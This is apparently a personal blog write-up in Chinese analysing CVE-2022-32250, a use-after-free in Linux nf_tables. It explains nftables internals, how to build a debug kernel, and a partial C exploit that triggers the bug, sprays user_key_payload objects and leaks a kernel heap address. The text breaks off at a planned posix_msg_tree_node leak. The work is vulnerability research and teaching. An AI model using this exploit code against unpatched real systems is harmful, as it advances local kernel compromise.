cve-2022-32250
学习了一段时间的 kernel pwn 之后,想去看看真实场景的 cve 是怎样的。看了一部分,有点太久了先咕咕咕,之后有时间再说…
nftables 介绍
分析这个 cve 的过程中遇到的比较大的阻碍是看分析源码比较晕,因为 nftables 不太熟悉。于是本文就从详细记录了一下利用命令行和 library 和 nftables 交互的方式,了解一个大致的结构和逻辑之后,看源码就轻松多了。
基本概念
nft
是命令行工具,用于在用户空间与 nftables 交互,它的基本使用可以查看: How to Use nftables | Linode Docs。这是一个 Linux 数据包分类框架,有表、链、规则几个概念。
table chain rule
table 是指没有特定语义的 chains 的容器。
table 内的 chain 是 rules 的容器。
rule 是要在 chain 中配置的操作。
命令的例子比如:
创建一个表`inet-table`
sudo nft add table inet inet-table
创建用于过滤传出数据包的链`output-filter-chain`
sudo nft add chain inet inet-table output-filter-chain '{ type filter hook output priority 0; }'
向链中添加一条规则,用于对发往`8.8.8.8`的数据包进行计数
sudo nft add rule inet inet-table output-filter-chain ip daddr 8.8.8.8 counter
创建另一条链,该链用于过滤传入数据包,并向其添加一条规则以对目标端口3030 的TCP 数据包进行计数。
sudo nft add chain inet inet-table input-filter-chain '{ type filter hook input priority 0; }'
sudo nft add rule inet inet-table input-filter-chain tcp dport 3030 counter
expression and register
rules 包含多个 expression 的操作。register 用于存放满足条件的数据包或者数据。比如下面这个规则,匹配所有源IP地址为 192.168.1.100
且连接状态为新连接的流量,并使用 register set @1 ip saddr
将源IP地址存储到寄存器 @1
中。
nft add rule ip filter input ip saddr 192.168.1.100 ct state new counter register set @1 ip saddr
每个 expression 创建一个 nft_expr_type
结构,成员包括:
- flags:表达式的类型
- ops :每个表达式类型有不同的功能,具体定义了如何解析、执行或评估该类型的表达式。
- name 等等。
struct nft_expr_type {
const struct nft_expr_ops *(*select_ops)(const struct nft_ctx *,
const struct nlattr * const tb[]);
const struct nft_expr_ops *ops;
struct list_head list;
const char *name;
struct module *owner;
const struct nla_policy *policy;
unsigned int maxattr;
u8 family;
u8 flags;
};
flags 的类型有:
#define NFT_EXPR_STATEFUL 0x1
#define NFT_EXPR_GC 0x2
nft_set
提供了一种高效的方式来管理和查询一组元素(如 IP 地址、端口号、网络等)
sudo nft add table ip filter
# 创建一个名为 blocklist 的 nft_set
sudo nft add set ip filter blocklist { type ipv4_addr; flags dynamic; }
# 向 blocklist 集合中添加禁止的 IP 地址
sudo nft add element ip filter blocklist { 192.168.1.10, 10.0.0.1 }
# 创建一条规则,丢弃来自 blocklist 集合中 IP 地址的流量
sudo nft add rule ip filter input ip saddr @blocklist drop
在规则里面可以引用 set 来表示查询数据是否属于这个集合。对这个结构,有一些操作是可以使用的,比如说 lookup
这个方法用于在网络包到达的时查询数据是不是在一个 sets 中。
/**
* struct nft_set_ops - nf_tables set operations
*
* @lookup: look up an element within the set
* @update: update an element if exists, add it if doesn't exist
* @delete: delete an element
* @insert: insert new element into set
* @activate: activate new element in the next generation
* @deactivate: lookup for element and deactivate it in the next generation
* @flush: deactivate element in the next generation
* @remove: remove element from set
* @walk: iterate over all set elements
* @get: get set elements
* @privsize: function to return size of set private data
* @init: initialize private data of new set instance
* @destroy: destroy private data of set instance
* @elemsize: element private size
*
* Operations lookup, update and delete have simpler interfaces, are faster
* and currently only used in the packet path. All the rest are slower,
* control plane functions.
*/
struct nft_set_ops {
bool (*lookup)(const struct net *net,
const struct nft_set *set,
const u32 *key,
const struct nft_set_ext **ext);
bool (*update)(struct nft_set *set,
const u32 *key,
void *(*new)(struct nft_set *,
const struct nft_expr *,
struct nft_regs *),
const struct nft_expr *expr,
struct nft_regs *regs,
const struct nft_set_ext **ext);
bool (*delete)(const struct nft_set *set,
const u32 *key);
int (*insert)(const struct net *net,
const struct nft_set *set,
const struct nft_set_elem *elem,
struct nft_set_ext **ext);
void (*activate)(const struct net *net,
const struct nft_set *set,
const struct nft_set_elem *elem);
void * (*deactivate)(const struct net *net,
const struct nft_set *set,
const struct nft_set_elem *elem);
bool (*flush)(const struct net *net,
const struct nft_set *set,
void *priv);
void (*remove)(const struct net *net,
const struct nft_set *set,
const struct nft_set_elem *elem);
void (*walk)(const struct nft_ctx *ctx,
struct nft_set *set,
struct nft_set_iter *iter);
void * (*get)(const struct net *net,
const struct nft_set *set,
const struct nft_set_elem *elem,
unsigned int flags);
u64 (*privsize)(const struct nlattr * const nla[],
const struct nft_set_desc *desc);
bool (*estimate)(const struct nft_set_desc *desc,
u32 features,
struct nft_set_estimate *est);
int (*init)(const struct nft_set *set,
const struct nft_set_desc *desc,
const struct nlattr * const nla[]);
void (*destroy)(const struct nft_set *set);
void (*gc_init)(const struct nft_set *set);
unsigned int elemsize;
};
lookup 结构体有个成员是 binding,有一个双链结构(如果有多个 lookup 就串成双链表)
struct nft_lookup {
struct nft_set *set;
u8 sreg;
u8 dreg;
bool invert;
struct nft_set_binding binding;
};
struct nft_set_binding {
struct list_head list;
const struct nft_chain *chain;
u32 flags;
};
比如文章中这个图片就很清晰:
nft_dynset
和 set 不同的是,dynset 可以有动态的 update 或者 add 操作
connlimt
特殊的用于计数的 expr
c 语言 htfables 交互代码
在复现的过程中感觉直接看源码有一点吃力,所以先从交互的代码开始阅读。有一些例子可以看看: libnftnl-ct/examples at master · greearb/libnftnl-ct · GitHub
nft 操作 payload
增加一个 set
// 新增一个空 set payload
s = nftnl_set_alloc();
if (s == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
// 设置各种参数
nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
nftnl_set_set_str(s, NFTNL_SET_NAME, name);
nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, sizeof(uint16_t));
/* inet service type, see nftables/include/datatypes.h */
nftnl_set_set_u32(s, NFTNL_SET_KEY_TYPE, 13);
nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
往 set 里面增加 element,数据在 data 里面
e = nftnl_set_elem_alloc();
if (e == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
data = 0x1;
nftnl_set_elem_set(e, NFTNL_SET_ELEM_KEY, &data, sizeof(data));
nftnl_set_elem_add(s, e);
libmnl 的操作
我们使用 netlink 和 nftables 交互,libmnl是一个专为Netlink通信设计的C语言库。netlink 可以理解成 ioctl
的升级版本。使用 NETLINK_NETFILTER
子协议开启一个 socket 和 nftable 交互:
// 打开和 nftables 的连接
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
// 把进程(pid)绑定到某一个 group 上面,0 表示所有消息
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}
多条消息可以批量合并到一个数据报中,用过调用 mnl_nlmsg_batch_start()
开启批处理,mnl_nlmsg_batch_stop()
释放它。调用 mnl_nlmsg_batch_next()
才能为批处理中的新消息获取空间。这些函数查看文档:mnl_nlmsg_batch_start(3) — libmnl-doc — Debian experimental — Debian Manpages
seq = time(NULL);
// 初始化 batch
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
// 初始化 nftables 的批量操作
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
// 推进消息
mnl_nlmsg_batch_next(batch);
在 batch 里面构造消息,NFT_MSG_NEWSET
这个命令用来新增 set,也是漏洞点相关的命令
// nftnl_nlmsg_build_hdr 函数用来在批处理中构造一个 header。这个消息是 NFT_MSG_NEWSET,创建一个 set
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE|NLM_F_ACK, seq++);
// 将集合元素的有效载荷(payload)填充到 Netlink 消息中。s 是预先准备好的 set payload
nftnl_set_elems_nlmsg_build_payload(nlh, s);
// 用完了,释放 s
nftnl_set_free(s);
// 推进批次指针,准备处理下一个 Netlink 消息。
mnl_nlmsg_batch_next(batch);
向 nftables 发送消息接收消息
// 获取 portid
portid = mnl_socket_get_portid(nl);
// 一次性发送消息
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0) {
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}
mnl_nlmsg_batch_stop(batch);
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (ret > 0) {
// 回调函数解析消息
ret = mnl_cb_run(buf, ret, 0, portid, NULL, NULL);
if (ret <= 0)
break;
ret = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
漏洞相关的函数分析
nf_tables_newset
如果这个新增的 set 里面含有 expr,那么就会进入这样的一个分支,nft_set_elem_expr_alloc
分配一下相应的 expr
// nf_tables_newset 函数:
if (nla[NFTA_SET_EXPR]) {
expr = nft_set_elem_expr_alloc(&ctx, set, nla[NFTA_SET_EXPR]);
if (IS_ERR(expr)) {
err = PTR_ERR(expr);
goto err_set_alloc_name;
}
set->exprs[0] = expr;
set->num_exprs++;
nft_set_elem_expr_alloc
会调用 nft_set_elem_expr_alloc
函数,函数里面 nft_expr_init
,初始化 expr 。如果在这个函数中处理发生错误,error 了,那就会跳转到处理的地方 err_set_elem_expr
:
struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
const struct nft_set *set,
const struct nlattr *attr)
{
struct nft_expr *expr;
int err;
// 初始化
expr = nft_expr_init(ctx, attr);
if (IS_ERR(expr))
return expr;
err = -EOPNOTSUPP;
// 如果没有设置 NFT_EXPR_STATEFUL
if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
goto err_set_elem_expr;
if (expr->ops->type->flags & NFT_EXPR_GC) {
if (set->flags & NFT_SET_TIMEOUT)
goto err_set_elem_expr;
if (!set->ops->gc_init)
goto err_set_elem_expr;
set->ops->gc_init(set);
}
return expr;
// 如果错误就会 nft_expr_destroy
err_set_elem_expr:
nft_expr_destroy(ctx, expr);
return ERR_PTR(err);
}
nft_expr_init
nft_expr_init
中调用 nf_tables_newexpr
err = nf_tables_expr_parse(ctx, nla, &info);
if (err < 0)
goto err1;
err = -ENOMEM;
expr = kzalloc(info.ops->size, GFP_KERNEL);
if (expr == NULL)
goto err2;
err = nf_tables_newexpr(ctx, &info, expr); // here
nf_tables_newexpr
实际上使用 ops->init
函数来操作,不同 type 的 expr 有不同的 ops 和 ops->init
函数
static int nf_tables_newexpr(const struct nft_ctx *ctx,
const struct nft_expr_info *info,
struct nft_expr *expr)
{
const struct nft_expr_ops *ops = info->ops;
int err;
expr->ops = ops;
if (ops->init) {
err = ops->init(ctx, expr, (const struct nlattr **)info->tb);
if (err < 0)
goto err1;
}
nft_lookup_init
对于 lookup 类型的 ops->init 是 nft_lookup_init
,会把这个 expr 和 set 进行 binding,也就是双链连在一起
static int nft_lookup_init(const struct nft_ctx *ctx,
const struct nft_expr *expr,
const struct nlattr * const tb[])
{
struct nft_lookup *priv = nft_expr_priv(expr);
u8 genmask = nft_genmask_next(ctx->net);
struct nft_set *set;
u32 flags;
int err;
if (tb[NFTA_LOOKUP_SET] == NULL ||
tb[NFTA_LOOKUP_SREG] == NULL)
return -EINVAL;
// 找到对应的set
set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
tb[NFTA_LOOKUP_SET_ID], genmask);
··· // 各种初始化
priv->binding.flags = set->flags & NFT_SET_MAP;
//调用 nf_tables_bind_set() 进行绑定 <---- 将 expression 绑定到 nft_set
err = nf_tables_bind_set(ctx, set, &priv->binding);
nf_tables_bind_set
binding 的部分是这样:
// nf_tables_bind_set 函数中
bind:
binding->chain = ctx->chain;
list_add_tail_rcu(&binding->list, &set->bindings);
nft_set_trans_bind(ctx, set);
set->use++;
return 0;
}
==所以问题其实在于,当新增一个含有 nft_lookup
expr 的 set。如果 expr 被 bind 到 set 之后,这个 expr 设置失败,会被释放,但是 bind 双链并没有解开,那么下一次的双链操作(比如 set 插入新的 expr),就会影响到已经被释放但还是 binding 的"expr"。造成 uaf。==
list_add_tail_rcu
上链的操作是通过 list_add_tail_rcu(&binding->list, &set->bindings);
来完成的,优化之后大概是这个样子。
► 82 new->next = next;
83 new->prev = prev;
84 rcu_assign_pointer(list_next_rcu(prev), new);
85 next->prev = new;
86 }
调试环境搭建
之前都直接用 qemu + gdb,没用过 kgdb 来调试,按照这个 kgdb调试linux内核以及驱动模块 — 主页) 教的尝试一下。 kgdb 是一种被动调试,不好暂停,而且在新版本的 gdb 连接会有奇怪的问题,所以还是直接 gdb 直接连 qemu 吧。
内核准备
- Linux, before commit 520778042ccca019f3ffa136dd0ca565c486cedd (26 May, 2022)
- Ubuntu <= 22.04 before security patch 我从这里拿源码链接,这个 commit 是 patch 的 commit 的 parent。
命令 make nconfig
开启菜单,找到 Networking Support
> Networking Option
> Network Packet Filtering Framework
> Core Netfilter Configuration
,把所有和 nf_tables 的选项勾选,和 nf_tables 没关系的选项不点了(这里弄得有一点晕,我来回调整了几次 config 才把 nf_tables 的模块弄进内核)
.config - Linux/x86 5.12.0 Kernel Configuration
┌── Core Netfilter Configuration ────────────────────────────────────────────────────────────┐
│ │
│ < > NetBIOS name service protocol support │
│ <*> SIP protocol support │
│ <*> Connection tracking netlink interface │
│ [*] NFQUEUE and NFLOG integration with Connection Tracking │
│ {*} Network Address Translation support │
│ <M> Netfilter nf_tables support │
│ [*] Netfilter nf_tables mixed IPv4/IPv6 tables support │
│ [*] Netfilter nf_tables netdev tables support │
│ <M> Netfilter nf_tables number generator module │
│ <M> Netfilter nf_tables conntrack module │
│ <M> Netfilter nf_tables hardware flow offload module │
│ <M> Netfilter nf_tables counter module │
│ <M> Netfilter nf_tables log module │
│ <M> Netfilter nf_tables limit module │
│ <M> Netfilter nf_tables masquerade support │
│ <M> Netfilter nf_tables redirect support │
│ <M> Netfilter nf_tables nat module │
│ <M> Netfilter nf_tables tunnel module │
│ <M> Netfilter nf_tables stateful object reference module │
│ <M> Netfilter nf_tables quota module │
│ <M> Netfilter nf_tables reject support │
│ <M> Netfilter x_tables over nf_tables module │
│ │
│ │
└F1Help─F2SymInfo─F3Help 2─F4ShowAll─F5Back─F6Save─F7Load─F8SymSearch─F9Exit─────────────────┘
菜单之后直接保存退出。保存设置退出后,配置会保存在 然后进入Kernel Hacking,确保勾选上Kernel debuging选项。.config
文件中。直接编辑这个文件比起菜单更方便一些。
此外还要打开 CONFIG_USER_NS
如果使用新版 gcc 编译旧版本内核需要安装 gcc-11
设置 gcc 版本,make -j8 HOSTCC=gcc-11 CC=gcc-11
。
然后编译结果在 arch/x86/boot/bzImage
。
在编译的时候可以看见这些输出:
LD [M] drivers/thermal/intel/x86_pkg_temp_thermal.ko
LD [M] fs/efivarfs/efivarfs.ko
LD [M] net/ipv4/netfilter/iptable_nat.ko
LD [M] net/ipv4/netfilter/nf_socket_ipv4.ko
LD [M] net/ipv4/netfilter/nf_tproxy_ipv4.ko
LD [M] net/ipv4/netfilter/nft_reject_ipv4.ko
LD [M] net/ipv6/netfilter/nf_socket_ipv6.ko
LD [M] net/ipv6/netfilter/nf_tproxy_ipv6.ko
LD [M] net/ipv6/netfilter/nft_reject_ipv6.ko
LD [M] net/netfilter/nf_dup_netdev.ko
LD [M] net/netfilter/nf_log_syslog.ko
LD [M] net/netfilter/nft_chain_nat.ko
LD [M] net/netfilter/nft_compat.ko
LD [M] net/netfilter/nft_dup_netdev.ko
LD [M] net/netfilter/nft_flow_offload.ko
LD [M] net/netfilter/nft_fwd_netdev.ko
LD [M] net/netfilter/nft_hash.ko
LD [M] net/netfilter/nft_limit.ko
LD [M] net/netfilter/nft_log.ko
LD [M] net/netfilter/nft_masq.ko
LD [M] net/netfilter/nft_nat.ko
LD [M] net/netfilter/nft_objref.ko
LD [M] net/netfilter/nft_quota.ko
LD [M] net/netfilter/nft_redir.ko
LD [M] net/netfilter/nft_reject.ko
LD [M] net/netfilter/nft_reject_inet.ko
LD [M] net/netfilter/nft_reject_netdev.ko
LD [M] net/netfilter/nft_socket.ko
LD [M] net/netfilter/nft_tproxy.ko
LD [M] net/netfilter/nft_tunnel.ko
LD [M] net/netfilter/nft_xfrm.ko
LD [M] net/netfilter/xt_LOG.ko
LD [M] net/netfilter/xt_mark.ko
LD [M] net/netfilter/xt_nat.ko
LD [M] net/netfilter/xt_MASQUERADE.ko
LD [M] net/netfilter/xt_addrtype.ko
vmlinux 文件可以看见 nft 的符号:
[linux-commit-6c46] nm vmlinux | grep nft_table 15:56:59
ffffffff81a19a80 t nft_table_disable
ffffffff81a19e90 t nft_table_lookup.part.0
ffffffff82325ec0 d nft_table_policy
ffffffff81a17fd0 t nft_table_validate
文件系统
wget https://busybox.net/downloads/busybox-1.37.0.tar.bz2
make menuconfig // Setttings 选中 Build static binary (no shared libs)
make -j8
make install
接下来在 _install
文件夹下执行以创建一系列文件:
mkdir -p proc sys dev etc/init.d
之后,在 rootfs 下(即 _install
文件夹下)编写以下 init 挂载脚本:
#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
设置 init 脚本的权限,并将 rootfs 打包:
chmod +x ./init
# 打包命令
find . | cpio -o --format=newc > ../../rootfs.img
# 解包命令
# cpio -idmv < rootfs.img
启动 qemu 的脚本:
qemu-system-x86_64 \
-m 64M \
-kernel bzImage \
-append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on nokaslr" \
-no-reboot \
-cpu kvm64,+smap,+smep \
-monitor /dev/null \
-initrd rootfs.img \
-net nic,model=virtio \
-net user \
-nographic -s -S
在 gdb 启动的脚本里面设置源码和符号,就可以更方便调试了:
add-auto-load-safe-path /home/giacomo/kernel/linux-5.12/linux
file /home/giacomo/kernel/linux-5.12/linux/vmlinux
source /home/giacomo/kernel/linux-5.12/linux/vmlinux-gdb.py
target remote 127.1:1234
好耶。现在成功搭起来了!
exploit
本来想拿 GitHub - theori-io/CVE-2022-32250-exploit 来验证一下环境是不是搭好了。但其实 exp 里面的偏移是针对某个版本的,所以我随便找的一个版本的话,可能打不通的。所以干脆直接上手写吧
sudo apt-get install libmnl-dev libnftnl-dev
// gcc 的链接是有顺序的,所以先 nftnl 再 mnl
gcc exp.c -static -o exp -l nftnl -l mnl -w
构造出来《新增含有 expr 的 set》操作 uaf
在过程中发现, nf_tables_newset
函数需要 uid 为 0 才能触发,可以用 unshare 创建一个新的命名空间,在这个命名空间里面可以让进程的 uid 为 0。
增加 set 的时候需要 table 已经建立。而且 lookup 的 expr 需要一个已有的 set。如果执行完成之后,有问题的 set 和对应的 expr 的关系是这个样子的
pwndbg> p set
$16 = (struct nft_set *) 0xffff888003b22000
pwndbg> p binding
$17 = (struct nft_set_binding *) 0xffff888003b71318
pwndbg> p *set
$13 = {
list = {
next = 0xffff888003b222a8,
prev = 0xffff888003b222a8
},
bindings = {
next = 0xffff888003b71318,
prev = 0xffff888003b71318
},
...
pwndbg> p *binding
$15 = {
list = {
next = 0xffff888003b71318,
prev = 0xffff888003b71318
},
chain = 0x0 <fixed_percpu_data>,
flags = 0
}
set 结构体的 bindings 字段里面的 next 和 prev 会指向了即将被释放的 expr。而释放的 expr 的 0x10 和 0x18 的位置写上了 set 的地址。
pwndbg> p *expr
$23 = {
ops = 0xffffffff823263e0 <nft_lookup_ops>,
data = 0xffff888003b71308 ""
}
pwndbg> x/10gx 0xffff888003b71308
0xffff888003b71308: 0xffff888003b22000 0x0000000000000004
0xffff888003b71318: 0xffff888003b71318 0xffff888003b71318
再次使用 SET_EXPR
功能,则会在已经释放的 nft_expr
后面再链接一个 nft_expr
,造成偏移0x18的uaf 写。根据list 操作的代码和本次参与运算的结构体,可以看出,该uaf写会篡改偏移为0x18 和偏移为0x20的两个字段指向另外两个堆地址。我们这里主要关注偏移0x18,会将其指向一个新的 nft_expr
(kmalloc-64
)的偏移0x18处。
利用 user_key_payload
来泄露堆地址
什么是 user_key_payload
内核引入了 密钥保留服务(key retention service),用以在内核空间存储密钥以供其他服务使用。add_key 系统调用就是用来增加一个密钥 key 的。参数 payload
就是密钥的实际内容,会存放在 user_key_payload 结构体里面
NAME
add_key - add a key to the kernel's key management facility
LIBRARY
Standard C library (libc, -lc)
SYNOPSIS
#include <keyutils.h>
key_serial_t add_key(const char *type, const char *description,
const void payload[.plen], size_t plen,
key_serial_t keyring);
user_key_payload 这个结构体在这里分配(不过此时的 rcu_head rcu;
还没有分配)
int user_preparse(struct key_preparsed_payload *prep)
{
struct user_key_payload *upayload;
size_t datalen = prep->datalen;
if (datalen <= 0 || datalen > 32767 || !prep->data)
return -EINVAL;
upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;
/* attach the data */
prep->quotalen = datalen;
prep->payload.data[0] = upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
调用模板:
int key_alloc(char *description, char *payload, int payload_len)
{
return syscall(__NR_add_key,"user", description, payload, payload_len,
KEY_SPEC_PROCESS_KEYRING);
}
泄露地址
expr 分配的大小是 0x38 (四舍五入 0x40)
pwndbg> p/x expr_info.ops->size
$4 = 0x38
expr = kzalloc(expr_info.ops->size, GFP_KERNEL_ACCOUNT);
if (expr == NULL)
goto err2;
而 user_key_payload:
pwndbg> ptype upayload
type = struct user_key_payload {
struct callback_head rcu;
unsigned short datalen;
char data[];
} *
申请一次,然后被释放
首先会在内核空间中分配 obj 1 与 obj2,分配 flag 为 `GFP_KERNEL`,用以保存 `description` (字符串,最大大小为 4096)、`payload` (普通数据,大小无限制)
分配 obj3 保存 `description` ,分配 obj4 保存 `payload`,分配 flag 皆为 `GFP_KERNEL`
释放 obj1 与 obj2,返回密钥 id
不过,释放之后总有机会再次申请的,多来几次就可以了
目前为止的 exp
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stddef.h> /* for offsetof */
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <inttypes.h>
#include <libmnl/libmnl.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/set.h>
#include <libnftnl/table.h>
#include <linux/keyctl.h>
#include <stdint.h>
#include <sys/syscall.h>
#define KEY_SPRAY_SIZE 0x50
int key_id[KEY_SPRAY_SIZE];
uint64_t heap_addr;
void print_hex(char* name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
void leak(char* buf, uint64_t buflen)
{
for (uint32_t i = 0; i < buflen; i += 8) {
print_hex("key_content", *(uint64_t*)(buf + i));
}
}
int key_alloc(char* description, char* payload, int payload_len)
{
return syscall(__NR_add_key, "user", description, payload, payload_len,
KEY_SPEC_PROCESS_KEYRING);
}
int key_read(int keyid, char* buffer, size_t buflen)
{
return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}
void spray_key_payload()
{
char buf[0x40];
char buf_p[0x40];
for (int i = 0; i < KEY_SPRAY_SIZE; i++) {
memset(buf, i+1, 0x28);
memset(buf_p, i+0x28+i, 0x28);
key_id[i] = key_alloc(buf, buf_p, 0x28); // description need to be different
// printf("----> id:%d\n", key_id[i]);
}
}
void leak_heap_addr()
{
char buf[0x40];
for (int i = 0; i < KEY_SPRAY_SIZE; i++) {
key_read(key_id[i], buf, 0x28);
if(buf[6] == (char)0xff) {
// printf("----> id:%d\n", key_id[i]);
// leak(buf, 0x28);
heap_addr = *(uint64_t *) buf;
printf("[+] leak ");
print_hex("heap_addr", heap_addr);
}
}
}
void setup_table_with_stable_set(struct mnl_socket* nl, const char* name)
{
uint8_t family = NFPROTO_IPV4;
uint32_t ret;
// init a table first, so that set can be bind to
struct nftnl_table* table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, name);
nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); // without table
struct nftnl_set* set_stable = nftnl_set_alloc();
nftnl_set_set_str(set_stable, NFTNL_SET_TABLE, name);
nftnl_set_set_str(set_stable, NFTNL_SET_NAME, "set_stable");
nftnl_set_set_u32(set_stable, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_stable, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_stable, NFTNL_SET_ID, 1);
char buf[MNL_SOCKET_BUFFER_SIZE * 2];
struct mnl_nlmsg_batch* batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct nlmsghdr* nlh;
nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWTABLE, family,
NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_table_nlmsg_build_payload(nlh, table);
mnl_nlmsg_batch_next(batch);
// add set_stable
nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET,
family, NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, set_stable);
nftnl_set_free(set_stable);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (ret == -1) {
perror("mnl_socket_sendto");
exit(EXIT_FAILURE);
}
printf("[+] setting table %s and set\n", name);
}
void setup_set_with_expr(struct mnl_socket* nl, const char* table,
const char* name)
{
uint8_t family = NFPROTO_IPV4;
struct nftnl_set* s;
struct nftnl_expr* e;
char buf[MNL_SOCKET_BUFFER_SIZE * 2];
struct mnl_nlmsg_batch* batch;
struct nlmsghdr* nlh;
uint32_t seq = time(NULL);
int ret;
// init a set
s = nftnl_set_alloc();
if (s == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_set_set_str(s, NFTNL_SET_TABLE, table);
nftnl_set_set_str(s, NFTNL_SET_NAME, name);
nftnl_set_set_u32(s, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(s, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(s, NFTNL_SET_KEY_LEN, 1);
/* inet service type, see nftables/include/datatypes.h */
nftnl_set_set_u32(s, NFTNL_SET_ID, 1);
// init a expr
e = nftnl_expr_alloc("lookup");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_str(e, NFTNL_EXPR_LOOKUP_SET, "set_stable");
nftnl_expr_set_u32(e, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
nftnl_set_add_expr(s, e);
// init a batch to send msg
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET,
family, NLM_F_CREATE | NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, s);
nftnl_set_free(s);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
ret = mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch));
if (ret == -1) {
perror("mnl_socket_sendto");
exit(EXIT_FAILURE);
}
printf("[+] setting set %s and expr\n", name);
}
int main()
{
struct mnl_socket* nl;
// socket to connect to NETLINK_NETFILTER
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
// bind socket to this pid
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}
setup_table_with_stable_set(nl, "table1");
setup_table_with_stable_set(nl, "table2");
setup_table_with_stable_set(nl, "table3");
setup_table_with_stable_set(nl, "table4");
// set up a set with expr in it
setup_set_with_expr(nl, "table1", "set1");
spray_key_payload();
// another set to cause uaf
setup_set_with_expr(nl, "table1", "set2");
leak_heap_addr();
}
伪造 msg_msg 结构体泄露内核地址
可以进行近乎任意大小的对象分配。但是由于这个 CVE 只有 0x18 的写入,所以 msg_msg 不好利用,所以选用了 posix_msg_tree_node
mqueue 使用
使用 mq_open
mq_send
mq_recv
来打开、发送、接收 msg queue。demo:
#include <stdio.h>
#include <string.h>
#include <mqueue.h>
#define QUEUE_NAME "/queue1"
int main(void)
{
mqd_t message_queue_id;
unsigned int priority = 0;
char message_text[100];
int status;
message_queue_id = mq_open(QUEUE_NAME, O_RDWR | O_CREAT | O_EXCL, S_IRWXU | S_IRWXG, NULL);
if (message_queue_id == -1) {
perror("Unable to create queue");
return 2;
}
strcpy(message_text, "Hello world!");
status = mq_send(message_queue_id, message_text, strlen(message_text)+1, priority);
if (status == -1) {
perror("Unable to send message");
return 2;
}
status = mq_close(message_queue_id);
if (status == -1) {
perror("Unable to close message queue");
return 2;
}
return 0;
}
posix_msg_tree_node
结构
posix_msg_tree_node
管理多个 mqueue 的消息,其中的 msg_list.next
的偏移量为 0x18
。
struct posix_msg_tree_node {
struct rb_node rb_node;
struct list_head msg_list;
int priority;
};
struct rb_node {
unsigned long __rb_parent_color;
struct rb_node *rb_right;
struct rb_node *rb_left;
} __attribute__((aligned(sizeof(long))));
构造 msg_msg 结构体来泄露内容
